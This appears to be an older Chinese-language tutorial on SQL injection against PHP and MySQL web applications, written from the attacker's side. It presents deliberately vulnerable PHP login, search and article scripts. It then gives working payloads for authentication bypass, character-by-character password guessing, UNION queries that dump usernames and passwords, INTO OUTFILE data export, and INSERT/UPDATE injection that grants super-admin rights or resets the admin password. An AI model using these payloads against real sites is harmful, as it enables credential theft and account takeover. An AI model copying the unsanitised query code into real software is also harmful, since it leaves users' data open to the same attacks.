前言
2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。
关于php+Mysql的注入国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), (反斜线) and 空字符会自动转为含有反斜线的转义字符。给
注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语
句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。
php+Mysql注入的误区
很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command = "dir c:";
system($command);
否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?
什么时候不用呢?看看下面两句SQL语句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,
而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同
之处。
① 指定变量$id为:
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where
userid=1/*'
②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where
userid=1
看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini
中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
简单的例子
先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
验证用户文件的代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}
echo "<p>SQL Querysql<p>";
?>
这时我们提交:
http://127.0.0.1/injection/user.php?username=angel' or 1=1
就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in F:wwwinjectionuser.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in F:wwwinjectionuser.php on line 13
看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel' or '1=1
这时显示“登陆成功”,说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,
mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会
变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?
语句构造
PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都
允许检索所有的记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit"
value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
//$keywords = addslashes($keywords);
//$keywords = str_replace("_","_",$keywords);
//$keywords = str_replace("%","%",$keywords);
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%'
$search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);
echo "<p>SQL Querysql<p>";
if ($tatol <=0){
echo "The "<b>$keywords</b>" was not found in all the record.<p>n";
} else {
while ($article=mysql_fetch_array($result)) {
echo "<li>".htmlspecialchars($article[title])."<p>n";
} //while
}
} else {
echo "<b>lease enter some keywords.</b><p>n";
}
?>
一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有
记录都取出来。如果我们在表单提交:
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
SQL语句就被改变成下面的样子了,
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title
DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title
DESC
就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?
二、查询字段
查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函
数在PHP里要有小小的改动,如下:
① 本表查询
看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "该记录不存在";
echo "<p>SQL Querysql<p>";
exit;
}
echo "你要查询的用户ID是:$row[userid]n";
echo "<p>SQL Querysql<p>";
?>
当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码
是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM
user WHERE username='$username'
相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,
密码为mypass,看了上面的例子,应该知道构造了吧,如果我们提交:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass
这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:
SELECT * FROM user WHERE username='angel' AND password='mypass'
但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。
② 跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression
(select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数
量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段, 应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……
如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……
否则就会报错:
The used SELECT statements have a different number of columns
如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `article`
#
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是请文明用语落后!如果我当教育部长。我要把所有老师都解雇!');
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用
“SELECT 1,1,1,1……”了。
下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Querysql<p>";
exit;
}
echo "title<br>".$row[title]."<p>n";
echo "content<br>".$row[content]."<p>n";
echo "<p>SQL Querysql<p>";
?>
正常情况下,我们提交这样的一个请求:
http://127.0.0.1/injection/show.php?id=1
就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……
由于这个代码是有单引号包含着变量的,我们现在提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from
user/*
按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?
其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from
user/*
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
三、导出文件
这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'
但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
必须导出到能访问的目录,这样才能下载。
能访问的目录必须要有可写的权限,否则导出会失败。
确保硬盘有足够的容量能容下导出的数据,这个很少见。
确保要已经存在相同的文件名,会导致导出失败,并提示:“File 'c:/file.txt' already
exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。
我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围
的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,
由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
实际的SQL语句变为:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user
into outfile 'c:/user.txt'
这样可以导出文件了,如果我们要构造就提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user
into outfile 'c:/user.txt
文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分,
所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user
into outfile 'c:/user.txt
这样才能得到我们想要的资料值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes
()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
INSERT 如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);
其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'$username', '$password', '$homepage', '1');
默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造
$homepage变量,就可以达到改写的目的,指定$homepage变量为:
http://4ngel.net', '3’)#
插入数据库的时候就变成:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage
变量为:
http://4ngel.net', userlevel='3
整个SQL语句就变成这样:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
mypass)' WHERE username='admin'#
这时整个语句变为:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',
homepage='$homepage' WHERE id='$id'
这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
' OR username='admin'